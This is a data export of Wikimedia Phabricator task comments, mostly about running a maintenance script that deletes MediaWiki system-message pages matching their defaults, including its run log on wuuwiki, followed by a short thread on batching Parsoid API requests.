+229143,"Delete all redundant ""MediaWiki"" pages for system messages","Done!
+
+$ mwscript deleteEqualMessages.php --wiki wuuwiki --delete
+
+Checking for pages with default message...
+... fetching message info for content language
+352 pages in the MediaWiki namespace override messages.
+110 pages are equal to the default message (+ 0 talk pages).
+
+...deleting equal messages (this may take a long time!)...
+* [[MediaWiki:Sitematrix]]
+* [[MediaWiki:Cite]]
+* [[MediaWiki:Searchfulltext]]
+* [[MediaWiki:Createarticle]]
+* [[MediaWiki:Categorytree-mode-categories]]
+* [[MediaWiki:Categorytree-expand]]
+* [[MediaWiki:Categorytree-no-pages]]
+* [[MediaWiki:Sitesupport]]
+* [[MediaWiki:Fri]]
+* [[MediaWiki:January-gen]]
+* [[MediaWiki:March-gen]]
+* [[MediaWiki:May-gen]]
+* [[MediaWiki:September-gen]]
+* [[MediaWiki:October-gen]]
+* [[MediaWiki:November-gen]]
+* [[MediaWiki:Mypage]]
+* [[MediaWiki:History short]]
+* [[MediaWiki:Print]]
+* [[MediaWiki:Mainpage]]
+* [[MediaWiki:Nstab-template]]
+* [[MediaWiki:Logout]]
+* [[MediaWiki:Userlogout]]
+* [[MediaWiki:Notloggedin]]
+* [[MediaWiki:Loginerror]]
+* [[MediaWiki:Loginsuccesstitle]]
+* [[MediaWiki:Wrongpassword]]
+* [[MediaWiki:Bold sample]]
+* [[MediaWiki:Bold tip]]
+* [[MediaWiki:Savearticle]]
+* [[MediaWiki:Loginreqtitle]]
+* [[MediaWiki:Loginreqlink]]
+* [[MediaWiki:Yourdiff]]
+* [[MediaWiki:Nohistory]]
+* [[MediaWiki:Nextrevision]]
+* [[MediaWiki:Rev-delundel]]
+* [[MediaWiki:Prevn]]
+* [[MediaWiki:Prefs-personal]]
+* [[MediaWiki:Prefs-rc]]
+* [[MediaWiki:Prefs-watchlist]]
+* [[MediaWiki:Prefs-watchlist-days]]
+* [[MediaWiki:Prefs-watchlist-edits]]
+* [[MediaWiki:Saveprefs]]
+* [[MediaWiki:Searchresultshead]]
+* [[MediaWiki:Savedprefs]]
+* [[MediaWiki:Yourlanguage]]
+* [[MediaWiki:Badsig]]
+* [[MediaWiki:Userrights-user-editname]]
+* [[MediaWiki:Rclistfrom]]
+* [[MediaWiki:Diff]]
+* [[MediaWiki:Hist]]
+* [[MediaWiki:Show]]
+* [[MediaWiki:Minoreditletter]]
+* [[MediaWiki:Newpageletter]]
+* [[MediaWiki:Uploadbtn]]
+* [[MediaWiki:Uploadnologin]]
+* [[MediaWiki:Uploaderror]]
+* [[MediaWiki:Uploadlog]]
+* [[MediaWiki:Uploadlogpagetext]]
+* [[MediaWiki:Filedesc]]
+* [[MediaWiki:Uploadedfiles]]
+* [[MediaWiki:Uploadwarning]]
+* [[MediaWiki:Savefile]]
+* [[MediaWiki:Destfilename]]
+* [[MediaWiki:Uploadnewversion-linktext]]
+* [[MediaWiki:Download]]
+* [[MediaWiki:Listredirects]]
+* [[MediaWiki:Randompage]]
+* [[MediaWiki:Statistics]]
+* [[MediaWiki:Brokenredirects]]
+* [[MediaWiki:Popularpages]]
+* [[MediaWiki:Mostlinked]]
+* [[MediaWiki:Mostlinkedcategories]]
+* [[MediaWiki:Mostimages]]
+* [[MediaWiki:Shortpages]]
+* [[MediaWiki:Longpages]]
+* [[MediaWiki:Listusers]]
+* [[MediaWiki:Newpages-username]]
+* [[MediaWiki:Log]]
+* [[MediaWiki:Emailsend]]
+* [[MediaWiki:Emailsent]]
+* [[MediaWiki:Emailsenttext]]
+* [[MediaWiki:Watchthispage]]
+* [[MediaWiki:Unwatchthispage]]
+* [[MediaWiki:Created]]
+* [[MediaWiki:Confirm]]
+* [[MediaWiki:Deletionlog]]
+* [[MediaWiki:Rollback]]
+* [[MediaWiki:Rollback short]]
+* [[MediaWiki:Rollbackfailed]]
+* [[MediaWiki:Protectlogpage]]
+* [[MediaWiki:Restriction-edit]]
+* [[MediaWiki:Restriction-move]]
+* [[MediaWiki:Undeletepage]]
+* [[MediaWiki:Mycontris]]
+* [[MediaWiki:Blocklink]]
+* [[MediaWiki:Blocklogpage]]
+* [[MediaWiki:Movepagebtn]]
+* [[MediaWiki:Cantmove-titleprotected]]
+* [[MediaWiki:Thumbnail-more]]
+* [[MediaWiki:Newimages]]
+* [[MediaWiki:Variantname-zh-tw]]
+* [[MediaWiki:Watchlistall2]]
+* [[MediaWiki:Namespacesall]]
+* [[MediaWiki:Descending abbrev]]
+* [[MediaWiki:Table pager next]]
+* [[MediaWiki:Table pager prev]]
+* [[MediaWiki:Table pager first]]
+* [[MediaWiki:Table pager limit]]
+* [[MediaWiki:Autoredircomment]]
+* [[MediaWiki:Version]]
+
+done!",,,1395422702,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+229137,"Delete all redundant ""MediaWiki"" pages for system messages",This was requested to be run on wuuwiki: https://meta.wikimedia.org/w/index.php?title=Steward_requests/Miscellaneous&oldid=7913568#Remove_useless_system_messages_on_wuu_wikipedia,,,1395422161,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,37,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+229135,"Delete all redundant ""MediaWiki"" pages for system messages","Krinkle, are you still planning to work on this?",,,1395223025,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+229131,"Delete all redundant ""MediaWiki"" pages for system messages","The short version of the long story (that is partially outlined in previous comments by all of you) is that it:
+
+* Was never consistent to be begin with.
+* It has changed over time.
+  So we can't reliably know now what to do with a message. You'd have to account
+  for deployment dates for different wikis and assume a community member
+  intentionally left a message override untouched knowing the new behaviour.
+  More likely it was forgotten about and is actually still assuming the old logic. 
+* It can vary by message whether it is blankable or disableable.
+
+If the code calls isBlank first (like Sitenotice) then it can be blanked with '' without leaving a gap in the interface because the feature checks it first.
+
+If the code calls isDisabled first, and then falls back or something, then it can be blanked with '' or '-' and it will use the default.
+
+However by far the default behaviour for the majority of messages is that if you create a local page, it replaces the message with that page. And if you put '' or '-' in it, it will appear as a gap in the interface.
+
+Either way, those pages are there with empty content for a reason, so it doesn't make sense to delete them en mass as part of this maintenance script.",,,1381358925,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+229126,"Delete all redundant ""MediaWiki"" pages for system messages","Blanking a message no longer disables it (bug 14176), so all pre-12.06.2013 blankings should be transformed in deletions.",,,1381349348,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+229121,"Delete all redundant ""MediaWiki"" pages for system messages","I'm confused by comment #12 and #13 then, I understood from them that '' no longer meant default.",,,1381346722,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+229118,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #16)
+> > Even the ""redundant"" messages getting deleted makes me a little sad, given
+> > how useful some of that page history can be (including being linked from active
+> > bug reports). But I understand that it's better future-proofing. Alas.
+> 
+> I remember blanking some MediaWiki messages precisely to use the default but
+> keep the history.
+> Maybe the script should edit the messages to whatever is used now to mean
+> ""use
+> the default"" (""-"" ?) when there are several edits to the page.
+
+Sometimes '', sometimes '-' (handled by Message:isBlank and Message::isDisabled) however those are not generic APIs. The message system does not use these methods. They are available for local code to use if they want to.
+
+So there's no way of knowing whether an individual message ""supports"" that behaviour, and even then we currently have some use '' and some use '-' ('' is a safe bet for both).",,,1381345858,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+229112,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #15)
+> I've run this on a single wiki where I'm also a local sysop (nlwiki) and
+> noticed the script has a minor flaw.
+> 
+> It incorrectly deleted MediaWiki:Sitenotice.
+
+Fixed in I5b416cda25a3641862df9919c46ae59ad5d5d6e0.",,,1381345737,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+229105,"Delete all redundant ""MediaWiki"" pages for system messages","> Even the ""redundant"" messages getting deleted makes me a little sad, given
+> how useful some of that page history can be (including being linked from active
+> bug reports). But I understand that it's better future-proofing. Alas.
+
+I remember blanking some MediaWiki messages precisely to use the default but keep the history.
+Maybe the script should edit the messages to whatever is used now to mean ""use the default"" (""-"" ?) when there are several edits to the page.",,,1381345333,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,14,,1,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+229097,"Delete all redundant ""MediaWiki"" pages for system messages","I've run this on a single wiki where I'm also a local sysop (nlwiki) and noticed the script has a minor flaw.
+
+It incorrectly deleted MediaWiki:Sitenotice (if it is empty), which is undesirable. So we should probably change the script to make an exception for empty messages.
+
+Those are most unlikely to change anyway because there is no message content to update or change, it is empty.",,,1381345054,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+229090,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #13)
+> (In reply to comment #12)
+>> If a script to delete empty messages existed in the past, we could've run it
+>> once globally after we reverted the feature to have blank messages mean
+>> default. But it has been to long to do this now.
+> 
+> What do you mean too long? It's been today for Wikipedias (1.22wmf7). Blank
+> message has always meant ""equal to default"", so it doesn't seem out of scope
+> for the script, which should be run by third parties before upgrading to
+> MediaWiki 1.22.
+
+Not always. The behavior has switched a few times now.
+
+There's no good answer here. It's impossible to determine intent simply by page_len being equal to 0. I tend to agree with Krinkle that it's better to be cautious here.
+
+Even the ""redundant"" messages getting deleted makes me a little sad, given how useful some of that page history can be (including being linked from active bug reports). But I understand that it's better future-proofing. Alas.
+
+> [...] [[MediaWiki 1.22]] [...]
+
+You mean [[mw:MediaWiki 1.22]], of course.",,,1371778016,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+229084,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #12)
+> If a script to delete empty messages existed in the past, we could've run it
+> once globally after we reverted the feature to have blank messages mean
+> default. But it has been to long to do this now.
+
+What do you mean too long? It's been today for Wikipedias (1.22wmf7). Blank message has always meant ""equal to default"", so it doesn't seem out of scope for the script, which should be run by third parties before upgrading to MediaWiki 1.22.
+If you consider it out of scope I'd file a bug for another script to be created, but nobody would be working on it so it would become too late so I'll just add a warning on [[MediaWiki 1.22]] and let sysops sort it out manually.",,,1371761038,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+229079,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #11)
+> (In reply to comment #10)
+> > Related URL: https://gerrit.wikimedia.org/r/64991 (Gerrit Change
+> > I2680413c276365a44c935a6f6fdd740daa86341e)
+> 
+> Merged a month ago.
+> 
+> Given bug 14176 (bug 49793), the script should also delete blank messages and
+> be run as soon as possible; unless a separate script is prepared and run for
+> that only.
+
+Since blank messages no longer mean showing the default, deleting them seems inappropriate.
+
+Yes, there are likely some pages out there that are blank and currently causing bugs due the message being empty instead of the default. However it would be a mistake to unconditionally delete all blank pages in the MediaWiki namespace.
+
+For maintenance scripts like deleteEqualMessages it is important that they do not affect the interface. It should only delete things that are non-controversial.
+
+If a script to delete empty messages existed in the past, we could've run it once globally after we reverted the feature to have blank messages mean default. But it has been to long to do this now. And one could also argue that it was dangerous even then because there might be existing pages that are blank for other reasons.",,,1371758984,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+229073,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #10)
+> Related URL: https://gerrit.wikimedia.org/r/64991 (Gerrit Change
+> I2680413c276365a44c935a6f6fdd740daa86341e)
+
+Merged a month ago.
+
+Given bug 14176 (bug 49793), the script should also delete blank messages and be run as soon as possible; unless a separate script is prepared and run for that only.",,,1371757399,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+229066,"Delete all redundant ""MediaWiki"" pages for system messages",Related URL: https://gerrit.wikimedia.org/r/64991 (Gerrit Change I2680413c276365a44c935a6f6fdd740daa86341e),,,1369264493,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+229061,"Delete all redundant ""MediaWiki"" pages for system messages",Related URL: https://gerrit.wikimedia.org/r/62159 (Gerrit Change I2680413c276365a44c935a6f6fdd740daa86341e),,,1367596599,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+229056,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #7)
+> (In reply to comment #6)
+> > I could run it, but I'd like to not execute my own request without a little
+> > more consensus from people.
+> > 
+> > They aren't permanent or hidden actions in any way (regular wiki deletions,
+> > it's a bot basically), but they would be a horror to undo.
+> > 
+> 
+> Can you dry run it and make a list of the pages that will be deleted so they
+> can be reviewed before deletion?
+
+I'm not sure what there is to review regarding individual pages. They all follow the same description, whatever reasoning one would use about them doesn't specify for any particular page:
+
+ Pages in the MediaWiki namespace that exist and override a system message
+ of which the wiki page contents are equal to the system message of the site
+ language (in other words, there is no longer a reason fo the override page
+ to exist).
+
+Deleting these pages has no visible effect as the effective value of the interface message will still be the same.
+
+The advantage is saving maintenance work later on by not having to update these messages when the software upgrades, and for consistency across wikis.
+
+A common scenario is the following:
+* 3 wikis in language x
+* 1 of the wikis overrides a message (making an improvement)
+* the message is fixed in translatewiki
+* the message update is deployed
+* users of all 800 wikis using language x now see the new version of the message
+* another update is made to the message and deployed
+* all wikis use it, except the wiki where the first change came from which is now out of sync without it being intentionally so.
+
+
+Alright, I'm biased as it was my own idea. But that doesn't mean the script itself has to be controversial. I'll run this next week if no objections are raised before then.",,,1365712467,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-12,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+229052,"Delete all redundant ""MediaWiki"" pages for system messages","**Thehelpfulonewiki** wrote:
+
+(In reply to comment #6)
+> I could run it, but I'd like to not execute my own request without a little
+> more consensus from people.
+> 
+> They aren't permanent or hidden actions in any way (regular wiki deletions,
+> it's a bot basically), but they would be a horror to undo.
+> 
+
+Can you dry run it and make a list of the pages that will be deleted so they can be reviewed before deletion?",,,1362516836,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-17,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,1
+229047,"Delete all redundant ""MediaWiki"" pages for system messages","I could run it, but I'd like to not execute my own request without a little more consensus from people.
+
+They aren't permanent or hidden actions in any way (regular wiki deletions, it's a bot basically), but they would be a horror to undo.
+
+I wouldn't know why someone would disagree, but then again, there've only been a few people involved so far that all agreed.",,,1362512294,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-17,,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+229040,"Delete all redundant ""MediaWiki"" pages for system messages","**Thehelpfulonewiki** wrote:
+
+Any progress on running this?",,,1362038010,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-18,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0
+229034,"Delete all redundant ""MediaWiki"" pages for system messages",See bug 43915.,,,1358895498,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-23,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+229030,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #2)
+> Can the old [[User:MediaWiki default]] be used for this task?
+
+The script I wrote uses that user and ensures it is in the bot group  (that is, add if not present) before it runs.
+
+(In reply to comment #2)
+> I understand this is going to affect messages pre-betawiki.
+
+No, it is not.
+
+(In reply to comment #2)
+> However I  what would happen with messages that we decided to customize
+
+Nothing.",,,1358895477,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-23,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+229024,"Delete all redundant ""MediaWiki"" pages for system messages","Can the old [[User:MediaWiki default]] be used for this task? (Please note that since it does not run since 2006 it has been deflagged from the bot group from some projects).
+
+I understand this is going to affect messages pre-betawiki. However I wonder what would happen with messages that we decided to customize localy. Those should not be deleted as they're likely going to be recreated later... Only a minor issue, though.",,,1358729054,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-23,,1,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+229020,"Delete all redundant ""MediaWiki"" pages for system messages","This is a subset of the general task ""clean-up local messages"".
+What we have now:
+[[mw:Localisation#Old_local_translation_system]]
+https://toolserver.org/~robin/?tool=cleanuplocalmsgs",,,1358041581,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+45888,Batch Parsoid's API requests,"We should amortize per-request overheads by batching API requests.
+
+AFAIK there is no generic batching support in the API currently, and adding it would probably be a bit too time-consuming for now. Instead we can add a unique string as a separator, for example something like 
+
+<nowiki>d41d8cd98f00b204e9800998ecf8427e</nowiki>
+
+This would work for for action=expandtemplates and action=parse which are the main workarounds we currently use. In the longer term we should switch to explicit methods that don't involve parsing wikitext, which is probably also a good moment to add real batching support.
+
+Decisions about batch sizes could be based on wikitext source size initially (based on the assumption that templates with a bazillion parameters also take longer to expand). A fixed number of templates per batch would be another simple alternative. Really fancy batching could use stats of previous processing times (returned by the PHP preprocessor per transclusion and stored in HTML).
+
+Ideally we would also enforce separation between batched requests to avoid non-deterministic behavior for stateful extensions.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1357943520,1447828111.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-rtnmynqsvowvjvcit3ww,task_description,resolved,True,c1,1,True,False,False,-25,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+539543,Batch Parsoid's API requests,"@ssastry, good point re load. Added the parse request rate for completeness. Also agreed re needing more data.",,,1443744632,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0
+539539,Batch Parsoid's API requests,"@ssastry, good point re load. Added the parse request rate for completeness.",,,1443744450,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0
